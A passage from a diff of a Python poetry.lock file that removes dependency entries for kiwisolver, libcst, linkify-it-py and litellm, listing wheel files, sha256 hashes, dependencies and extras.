"sha256:b78efa4c6e804ecdf727e580dbb9cba85624d2e1c6b5cb059c66290063bd99a9"}, - {file = "kiwisolver-1.4.9-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d4efec7bcf21671db6a3294ff301d2fc861c31faa3c8740d1a94689234d1b415"}, - {file = "kiwisolver-1.4.9-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:90f47e70293fc3688b71271100a1a5453aa9944a81d27ff779c108372cf5567b"}, - {file = "kiwisolver-1.4.9-cp310-cp310-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8fdca1def57a2e88ef339de1737a1449d6dbf5fab184c54a1fca01d541317154"}, - {file = "kiwisolver-1.4.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:9cf554f21be770f5111a1690d42313e140355e687e05cf82cb23d0a721a64a48"}, - {file = "kiwisolver-1.4.9-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:fc1795ac5cd0510207482c3d1d3ed781143383b8cfd36f5c645f3897ce066220"}, - {file = "kiwisolver-1.4.9-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:ccd09f20ccdbbd341b21a67ab50a119b64a403b09288c27481575105283c1586"}, - {file = "kiwisolver-1.4.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:540c7c72324d864406a009d72f5d6856f49693db95d1fbb46cf86febef873634"}, - {file = "kiwisolver-1.4.9-cp310-cp310-win_amd64.whl", hash = "sha256:ede8c6d533bc6601a47ad4046080d36b8fc99f81e6f1c17b0ac3c2dc91ac7611"}, - {file = "kiwisolver-1.4.9-cp310-cp310-win_arm64.whl", hash = "sha256:7b4da0d01ac866a57dd61ac258c5607b4cd677f63abaec7b148354d2b2cdd536"}, - {file = "kiwisolver-1.4.9-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:eb14a5da6dc7642b0f3a18f13654847cd8b7a2550e2645a5bda677862b03ba16"}, - {file = "kiwisolver-1.4.9-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:39a219e1c81ae3b103643d2aedb90f1ef22650deb266ff12a19e7773f3e5f089"}, - {file = "kiwisolver-1.4.9-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2405a7d98604b87f3fc28b1716783534b1b4b8510d8142adca34ee0bc3c87543"}, - {file = "kiwisolver-1.4.9-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:dc1ae486f9abcef254b5618dfb4113dd49f94c68e3e027d03cf0143f3f772b61"}, - {file = "kiwisolver-1.4.9-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a1f570ce4d62d718dce3f179ee78dac3b545ac16c0c04bb363b7607a949c0d1"}, - {file = "kiwisolver-1.4.9-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cb27e7b78d716c591e88e0a09a2139c6577865d7f2e152488c2cc6257f460872"}, - {file = "kiwisolver-1.4.9-cp311-cp311-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:15163165efc2f627eb9687ea5f3a28137217d217ac4024893d753f46bce9de26"}, - {file = "kiwisolver-1.4.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:bdee92c56a71d2b24c33a7d4c2856bd6419d017e08caa7802d2963870e315028"}, - {file = "kiwisolver-1.4.9-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:412f287c55a6f54b0650bd9b6dce5aceddb95864a1a90c87af16979d37c89771"}, - {file = "kiwisolver-1.4.9-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:2c93f00dcba2eea70af2be5f11a830a742fe6b579a1d4e00f47760ef13be247a"}, - {file = "kiwisolver-1.4.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f117e1a089d9411663a3207ba874f31be9ac8eaa5b533787024dc07aeb74f464"}, - {file = "kiwisolver-1.4.9-cp311-cp311-win_amd64.whl", hash = "sha256:be6a04e6c79819c9a8c2373317d19a96048e5a3f90bec587787e86a1153883c2"}, - {file = "kiwisolver-1.4.9-cp311-cp311-win_arm64.whl", hash = "sha256:0ae37737256ba2de764ddc12aed4956460277f00c4996d51a197e72f62f5eec7"}, - {file = "kiwisolver-1.4.9-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:ac5a486ac389dddcc5bef4f365b6ae3ffff2c433324fb38dd35e3fab7c957999"}, - {file = "kiwisolver-1.4.9-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f2ba92255faa7309d06fe44c3a4a97efe1c8d640c2a79a5ef728b685762a6fd2"}, - {file = "kiwisolver-1.4.9-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4a2899935e724dd1074cb568ce7ac0dce28b2cd6ab539c8e001a8578eb106d14"}, - {file = "kiwisolver-1.4.9-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f6008a4919fdbc0b0097089f67a1eb55d950ed7e90ce2cc3e640abadd2757a04"}, - {file = "kiwisolver-1.4.9-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:67bb8b474b4181770f926f7b7d2f8c0248cbcb78b660fdd41a47054b28d2a752"}, - {file = "kiwisolver-1.4.9-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2327a4a30d3ee07d2fbe2e7933e8a37c591663b96ce42a00bc67461a87d7df77"}, - {file = "kiwisolver-1.4.9-cp312-cp312-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7a08b491ec91b1d5053ac177afe5290adacf1f0f6307d771ccac5de30592d198"}, - {file = "kiwisolver-1.4.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d8fc5c867c22b828001b6a38d2eaeb88160bf5783c6cb4a5e440efc981ce286d"}, - {file = "kiwisolver-1.4.9-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:3b3115b2581ea35bb6d1f24a4c90af37e5d9b49dcff267eeed14c3893c5b86ab"}, - {file = "kiwisolver-1.4.9-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:858e4c22fb075920b96a291928cb7dea5644e94c0ee4fcd5af7e865655e4ccf2"}, - {file = "kiwisolver-1.4.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ed0fecd28cc62c54b262e3736f8bb2512d8dcfdc2bcf08be5f47f96bf405b145"}, - {file = "kiwisolver-1.4.9-cp312-cp312-win_amd64.whl", hash = "sha256:f68208a520c3d86ea51acf688a3e3002615a7f0238002cccc17affecc86a8a54"}, - {file = "kiwisolver-1.4.9-cp312-cp312-win_arm64.whl", hash = "sha256:2c1a4f57df73965f3f14df20b80ee29e6a7930a57d2d9e8491a25f676e197c60"}, - {file = "kiwisolver-1.4.9-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:a5d0432ccf1c7ab14f9949eec60c5d1f924f17c037e9f8b33352fa05799359b8"}, - {file = "kiwisolver-1.4.9-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:efb3a45b35622bb6c16dbfab491a8f5a391fe0e9d45ef32f4df85658232ca0e2"}, - {file = "kiwisolver-1.4.9-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:1a12cf6398e8a0a001a059747a1cbf24705e18fe413bc22de7b3d15c67cffe3f"}, - {file = "kiwisolver-1.4.9-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b67e6efbf68e077dd71d1a6b37e43e1a99d0bff1a3d51867d45ee8908b931098"}, - {file = "kiwisolver-1.4.9-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5656aa670507437af0207645273ccdfee4f14bacd7f7c67a4306d0dcaeaf6eed"}, - {file = "kiwisolver-1.4.9-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:bfc08add558155345129c7803b3671cf195e6a56e7a12f3dde7c57d9b417f525"}, - {file = "kiwisolver-1.4.9-cp313-cp313-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:40092754720b174e6ccf9e845d0d8c7d8e12c3d71e7fc35f55f3813e96376f78"}, - {file = "kiwisolver-1.4.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:497d05f29a1300d14e02e6441cf0f5ee81c1ff5a304b0d9fb77423974684e08b"}, - {file = "kiwisolver-1.4.9-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:bdd1a81a1860476eb41ac4bc1e07b3f07259e6d55bbf739b79c8aaedcf512799"}, - {file = "kiwisolver-1.4.9-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:e6b93f13371d341afee3be9f7c5964e3fe61d5fa30f6a30eb49856935dfe4fc3"}, - {file = "kiwisolver-1.4.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d75aa530ccfaa593da12834b86a0724f58bff12706659baa9227c2ccaa06264c"}, - {file = "kiwisolver-1.4.9-cp313-cp313-win_amd64.whl", hash = "sha256:dd0a578400839256df88c16abddf9ba14813ec5f21362e1fe65022e00c883d4d"}, - {file = "kiwisolver-1.4.9-cp313-cp313-win_arm64.whl", hash = "sha256:d4188e73af84ca82468f09cadc5ac4db578109e52acb4518d8154698d3a87ca2"}, - {file = "kiwisolver-1.4.9-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:5a0f2724dfd4e3b3ac5a82436a8e6fd16baa7d507117e4279b660fe8ca38a3a1"}, - {file = "kiwisolver-1.4.9-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:1b11d6a633e4ed84fc0ddafd4ebfd8ea49b3f25082c04ad12b8315c11d504dc1"}, - {file = "kiwisolver-1.4.9-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:61874cdb0a36016354853593cffc38e56fc9ca5aa97d2c05d3dcf6922cd55a11"}, - {file = "kiwisolver-1.4.9-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:60c439763a969a6af93b4881db0eed8fadf93ee98e18cbc35bc8da868d0c4f0c"}, - {file = "kiwisolver-1.4.9-cp313-cp313t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:92a2f997387a1b79a75e7803aa7ded2cfbe2823852ccf1ba3bcf613b62ae3197"}, - {file = "kiwisolver-1.4.9-cp313-cp313t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a31d512c812daea6d8b3be3b2bfcbeb091dbb09177706569bcfc6240dcf8b41c"}, - {file = "kiwisolver-1.4.9-cp313-cp313t-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:52a15b0f35dad39862d376df10c5230155243a2c1a436e39eb55623ccbd68185"}, - {file = "kiwisolver-1.4.9-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:a30fd6fdef1430fd9e1ba7b3398b5ee4e2887783917a687d86ba69985fb08748"}, - {file = "kiwisolver-1.4.9-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:cc9617b46837c6468197b5945e196ee9ca43057bb7d9d1ae688101e4e1dddf64"}, - {file = "kiwisolver-1.4.9-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:0ab74e19f6a2b027ea4f845a78827969af45ce790e6cb3e1ebab71bdf9f215ff"}, - {file = "kiwisolver-1.4.9-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:dba5ee5d3981160c28d5490f0d1b7ed730c22470ff7f6cc26cfcfaacb9896a07"}, - {file = "kiwisolver-1.4.9-cp313-cp313t-win_arm64.whl", hash = "sha256:0749fd8f4218ad2e851e11cc4dc05c7cbc0cbc4267bdfdb31782e65aace4ee9c"}, - {file = "kiwisolver-1.4.9-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:9928fe1eb816d11ae170885a74d074f57af3a0d65777ca47e9aeb854a1fba386"}, - {file = "kiwisolver-1.4.9-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:d0005b053977e7b43388ddec89fa567f43d4f6d5c2c0affe57de5ebf290dc552"}, - {file = "kiwisolver-1.4.9-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:2635d352d67458b66fd0667c14cb1d4145e9560d503219034a18a87e971ce4f3"}, - {file = "kiwisolver-1.4.9-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:767c23ad1c58c9e827b649a9ab7809fd5fd9db266a9cf02b0e926ddc2c680d58"}, - {file = "kiwisolver-1.4.9-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:72d0eb9fba308b8311685c2268cf7d0a0639a6cd027d8128659f72bdd8a024b4"}, - {file = "kiwisolver-1.4.9-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f68e4f3eeca8fb22cc3d731f9715a13b652795ef657a13df1ad0c7dc0e9731df"}, - {file = "kiwisolver-1.4.9-cp314-cp314-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d84cd4061ae292d8ac367b2c3fa3aad11cb8625a95d135fe93f286f914f3f5a6"}, - {file = "kiwisolver-1.4.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a60ea74330b91bd22a29638940d115df9dc00af5035a9a2a6ad9399ffb4ceca5"}, - {file = "kiwisolver-1.4.9-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:ce6a3a4e106cf35c2d9c4fa17c05ce0b180db622736845d4315519397a77beaf"}, - {file = "kiwisolver-1.4.9-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:77937e5e2a38a7b48eef0585114fe7930346993a88060d0bf886086d2aa49ef5"}, - {file = "kiwisolver-1.4.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:24c175051354f4a28c5d6a31c93906dc653e2bf234e8a4bbfb964892078898ce"}, - {file = "kiwisolver-1.4.9-cp314-cp314-win_amd64.whl", hash = "sha256:0763515d4df10edf6d06a3c19734e2566368980d21ebec439f33f9eb936c07b7"}, - {file = "kiwisolver-1.4.9-cp314-cp314-win_arm64.whl", hash = "sha256:0e4e2bf29574a6a7b7f6cb5fa69293b9f96c928949ac4a53ba3f525dffb87f9c"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:d976bbb382b202f71c67f77b0ac11244021cfa3f7dfd9e562eefcea2df711548"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:2489e4e5d7ef9a1c300a5e0196e43d9c739f066ef23270607d45aba368b91f2d"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:e2ea9f7ab7fbf18fffb1b5434ce7c69a07582f7acc7717720f1d69f3e806f90c"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b34e51affded8faee0dfdb705416153819d8ea9250bbbf7ea1b249bdeb5f1122"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d8aacd3d4b33b772542b2e01beb50187536967b514b00003bdda7589722d2a64"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7cf974dd4e35fa315563ac99d6287a1024e4dc2077b8a7d7cd3d2fb65d283134"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:85bd218b5ecfbee8c8a82e121802dcb519a86044c9c3b2e4aef02fa05c6da370"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0856e241c2d3df4efef7c04a1e46b1936b6120c9bcf36dd216e3acd84bc4fb21"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9af39d6551f97d31a4deebeac6f45b156f9755ddc59c07b402c148f5dbb6482a"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:bb4ae2b57fc1d8cbd1cf7b1d9913803681ffa903e7488012be5b76dedf49297f"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:aedff62918805fb62d43a4aa2ecd4482c380dc76cd31bd7c8878588a61bd0369"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-win_amd64.whl", hash = "sha256:1fa333e8b2ce4d9660f2cda9c0e1b6bafcfb2457a9d259faa82289e73ec24891"}, - {file = "kiwisolver-1.4.9-cp314-cp314t-win_arm64.whl", hash = "sha256:4a48a2ce79d65d363597ef7b567ce3d14d68783d2b2263d98db3d9477805ba32"}, - {file = "kiwisolver-1.4.9-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:4d1d9e582ad4d63062d34077a9a1e9f3c34088a2ec5135b1f7190c07cf366527"}, - {file = "kiwisolver-1.4.9-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:deed0c7258ceb4c44ad5ec7d9918f9f14fd05b2be86378d86cf50e63d1e7b771"}, - {file = "kiwisolver-1.4.9-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0a590506f303f512dff6b7f75fd2fd18e16943efee932008fe7140e5fa91d80e"}, - {file = "kiwisolver-1.4.9-pp310-pypy310_pp73-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e09c2279a4d01f099f52d5c4b3d9e208e91edcbd1a175c9662a8b16e000fece9"}, - {file = "kiwisolver-1.4.9-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:c9e7cdf45d594ee04d5be1b24dd9d49f3d1590959b2271fb30b5ca2b262c00fb"}, - {file = "kiwisolver-1.4.9-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:720e05574713db64c356e86732c0f3c5252818d05f9df320f0ad8380641acea5"}, - {file = "kiwisolver-1.4.9-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:17680d737d5335b552994a2008fab4c851bcd7de33094a82067ef3a576ff02fa"}, - {file = "kiwisolver-1.4.9-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:85b5352f94e490c028926ea567fc569c52ec79ce131dadb968d3853e809518c2"}, - {file = "kiwisolver-1.4.9-pp311-pypy311_pp73-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:464415881e4801295659462c49461a24fb107c140de781d55518c4b80cb6790f"}, - {file = "kiwisolver-1.4.9-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:fb940820c63a9590d31d88b815e7a3aa5915cad3ce735ab45f0c730b39547de1"}, - {file = "kiwisolver-1.4.9.tar.gz", hash = "sha256:c3b22c26c6fd6811b0ae8363b95ca8ce4ea3c202d3d0975b2914310ceb1bcc4d"}, -] - -[[package]] -name = "libcst" -version = "1.5.0" -description = "A concrete syntax tree with AST-like properties for Python 3.0 through 3.13 programs." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "libcst-1.5.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:23d0e07fd3ed11480f8993a1e99d58a45f914a711b14f858b8db08ae861a8a34"}, - {file = "libcst-1.5.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d92c5ae2e2dc9356ad7e3d05077d9b7e5065423e45788fd86729c88729e45c6e"}, - {file = "libcst-1.5.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:96adc45e96476350df6b8a5ddbb1e1d6a83a7eb3f13087e52eb7cd2f9b65bcc7"}, - {file = "libcst-1.5.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d5978fd60c66794bb60d037b2e6427ea52d032636e84afce32b0f04e1cf500a"}, - {file = "libcst-1.5.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6502aeb11412afc759036160c686be1107eb5a4466db56b207c786b9b4da7c4"}, - {file = "libcst-1.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:9cccfc0a78e110c0d0a9d2c6fdeb29feb5274c9157508a8baef7edf352420f6d"}, - {file = "libcst-1.5.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:585b3aa705b3767d717d2100935d8ef557275ecdd3fac81c3e28db0959efb0ea"}, - {file = "libcst-1.5.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8935dd3393e30c2f97344866a4cb14efe560200e232166a8db1de7865c2ef8b2"}, - {file = "libcst-1.5.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fc80ea16c7d44e38f193e4d4ef7ff1e0ba72d8e60e8b61ac6f4c87f070a118bd"}, - {file = "libcst-1.5.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:02be4aab728261bb76d16e77c9a457884cebb60d09c8edee844de43b0e08aff7"}, - {file = "libcst-1.5.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a8fcd78be4d9ce3c36d0c5d0bdd384e0c7d5f72970a9e4ebd56070141972b4ad"}, - {file = "libcst-1.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:52b6aadfe54e3ae52c3b815eaaa17ba4da9ff010d5e8adf6a70697872886dd10"}, - {file = "libcst-1.5.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:83bc5fbe34d33597af1d5ea113dcb9b5dd5afe5a5f4316bac4293464d5e3971a"}, - {file = "libcst-1.5.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5f10124bf99a0b075eae136ef0ce06204e5f6b8da4596a9c4853a0663e80ddf3"}, - {file = "libcst-1.5.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48e581af6127c5af4c9f483e5986d94f0c6b2366967ee134f0a8eba0aa4c8c12"}, - {file = "libcst-1.5.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7dba93cca0a5c6d771ed444c44d21ce8ea9b277af7036cea3743677aba9fbbb8"}, - {file = "libcst-1.5.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80b5c4d87721a7bab265c202575809b810815ab81d5e2e7a5d4417a087975840"}, - {file = "libcst-1.5.0-cp312-cp312-win_amd64.whl", hash = "sha256:b48bf71d52c1e891a0948465a94d9817b5fc1ec1a09603566af90585f3b11948"}, - {file = "libcst-1.5.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:88520b6dea59eaea0cae80f77c0a632604a82c5b2d23dedb4b5b34035cbf1615"}, - {file = "libcst-1.5.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:208ea92d80b2eeed8cbc879d5f39f241582a5d56b916b1b65ed2be2f878a2425"}, - {file = "libcst-1.5.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4592872aaf5b7fa5c2727a7d73c0985261f1b3fe7eff51f4fd5b8174f30b4e2"}, - {file = "libcst-1.5.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d2788b2b5838b78fe15df8e9fa6b6903195ea49b2d2ba43e8f423f6c90e4b69f"}, - {file = "libcst-1.5.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b5b5bcd3a9ba92840f27ad34eaa038acbee195ec337da39536c0a2efbbf28efd"}, - {file = "libcst-1.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:4d6acb0bdee1e55b44c6215c59755ec4693ac01e74bb1fde04c37358b378835d"}, - {file = "libcst-1.5.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6453b5a8755a6eee3ad67ee246f13a8eac9827d2cfc8e4a269e8bf0393db74bc"}, - {file = "libcst-1.5.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:40748361f4ea66ab6cdd82f8501c82c29808317ac7a3bd132074efd5fd9bfae2"}, - {file = "libcst-1.5.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4f71aed85932c2ea92058fd9bbd99a6478bd69eada041c3726b4f4c9af1f564e"}, - {file = "libcst-1.5.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b60b09abcc2848ab52d479c3a9b71b606d91a941e3779616efd083bb87dbe8ad"}, - {file = "libcst-1.5.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6fb324ed20f3a725d152df5dba8d80f7e126d9c93cced581bf118a5fc18c1065"}, - {file = "libcst-1.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:99e7c52150a135d66716b03e00c7b1859a44336dc2a2bf8f9acc164494308531"}, - {file = "libcst-1.5.0.tar.gz", hash = "sha256:8478abf21ae3861a073e898d80b822bd56e578886331b33129ba77fec05b8c24"}, -] - -[package.dependencies] -pyyaml = ">=5.2" - -[package.extras] -dev = ["Sphinx (>=5.1.1)", "black (==24.8.0)", "build (>=0.10.0)", "coverage[toml] (>=4.5.4)", "fixit (==2.1.0)", "flake8 (==7.1.1)", "hypothesis (>=4.36.0)", "hypothesmith (>=0.0.4)", "jinja2 (==3.1.4)", "jupyter (>=1.0.0)", "maturin (>=1.7.0,<1.8)", "nbsphinx (>=0.4.2)", "prompt-toolkit (>=2.0.9)", "pyre-check (==0.9.18)", "setuptools-rust (>=1.5.2)", "setuptools-scm (>=6.0.1)", "slotscheck (>=0.7.1)", "sphinx-rtd-theme (>=0.4.3)", "ufmt (==2.7.3)", "usort (==1.0.8.post1)"] - -[[package]] -name = "linkify-it-py" -version = "2.0.3" -description = "Links recognition library with FULL unicode support." -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "linkify-it-py-2.0.3.tar.gz", hash = "sha256:68cda27e162e9215c17d786649d1da0021a451bdc436ef9e0fa0ba5234b9b048"}, - {file = "linkify_it_py-2.0.3-py3-none-any.whl", hash = "sha256:6bcbc417b0ac14323382aef5c5192c0075bf8a9d6b41820a2b66371eac6b6d79"}, -] - -[package.dependencies] -uc-micro-py = "*" - -[package.extras] -benchmark = ["pytest", "pytest-benchmark"] -dev = ["black", "flake8", "isort", "pre-commit", "pyproject-flake8"] -doc = ["myst-parser", "sphinx", "sphinx-book-theme"] -test = ["coverage", "pytest", "pytest-cov"] - -[[package]] -name = "litellm" -version = "1.75.5.post1" -description = "Library to easily interface with LLM API providers" -optional = false -python-versions = "!=2.7.*,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,!=3.7.*,>=3.8" -groups = ["main"] -files = [ - {file = "litellm-1.75.5.post1-py3-none-any.whl", hash = "sha256:1c72809a9c8f6e132ad06eb7e628f674c775b0ce6bfb58cbd37e8b585d929cb7"}, - {file = "litellm-1.75.5.post1.tar.gz", hash = "sha256:e40a0e4b25032755dc5df7f02742abe9e3b8836236363f605f3bdd363cb5a0d0"}, -] - -[package.dependencies] -aiohttp = ">=3.10" -apscheduler = {version = ">=3.10.4,<4.0.0", optional = true, markers = "extra == \"proxy\""} -azure-identity = {version = ">=1.15.0,<2.0.0", optional = true, markers = "extra == \"proxy\" or extra == \"extra-proxy\""} -azure-storage-blob = {version = ">=12.25.1,<13.0.0", optional = true, markers = "extra == \"proxy\""} -backoff = {version = "*", optional = true, markers = "extra == \"proxy\""} -boto3 = {version = "1.34.34", optional = true, markers = "extra == \"proxy\""} -click = "*" -cryptography = {version = ">=43.0.1,<44.0.0", optional = true, markers = "extra == \"proxy\""} -fastapi = {version = ">=0.115.5,<0.116.0", optional = true, markers = "extra == \"proxy\""} -fastapi-sso = {version = ">=0.16.0,<0.17.0", optional = true, markers = "extra == \"proxy\""} -gunicorn = {version = ">=23.0.0,<24.0.0", optional = true, markers = "extra == \"proxy\""} -httpx = ">=0.23.0" -importlib-metadata = ">=6.8.0" -jinja2 = ">=3.1.2,<4.0.0" -jsonschema = ">=4.22.0,<5.0.0" -litellm-enterprise = {version = "0.1.19", optional = true, markers = "extra == \"proxy\""} -litellm-proxy-extras = {version = "0.2.16", optional = true, markers = "extra == \"proxy\""} -mcp = {version = ">=1.10.0,<2.0.0", optional = true, markers = "python_version >= \"3.10\" and extra == \"proxy\""} -openai = ">=1.99.5" -orjson = {version = ">=3.9.7,<4.0.0", optional = true, markers = "extra == \"proxy\""} -polars = {version = ">=1.31.0,<2.0.0", optional = true, markers = "python_version >= \"3.10\" and extra == \"proxy\""} -pydantic = ">=2.5.0,<3.0.0" -PyJWT = {version = ">=2.8.0,<3.0.0", optional = true, markers = "extra == \"proxy\""} -pynacl = {version = ">=1.5.0,<2.0.0", optional = true, markers = "extra == \"proxy\""} -python-dotenv = ">=0.2.0" -python-multipart = {version = ">=0.0.18,<0.0.19", optional = true, markers = "extra == \"proxy\""} -pyyaml = {version = ">=6.0.1,<7.0.0", optional = true, markers = "extra == \"proxy\""} -rich = {version = "13.7.1", optional = true, markers = "extra 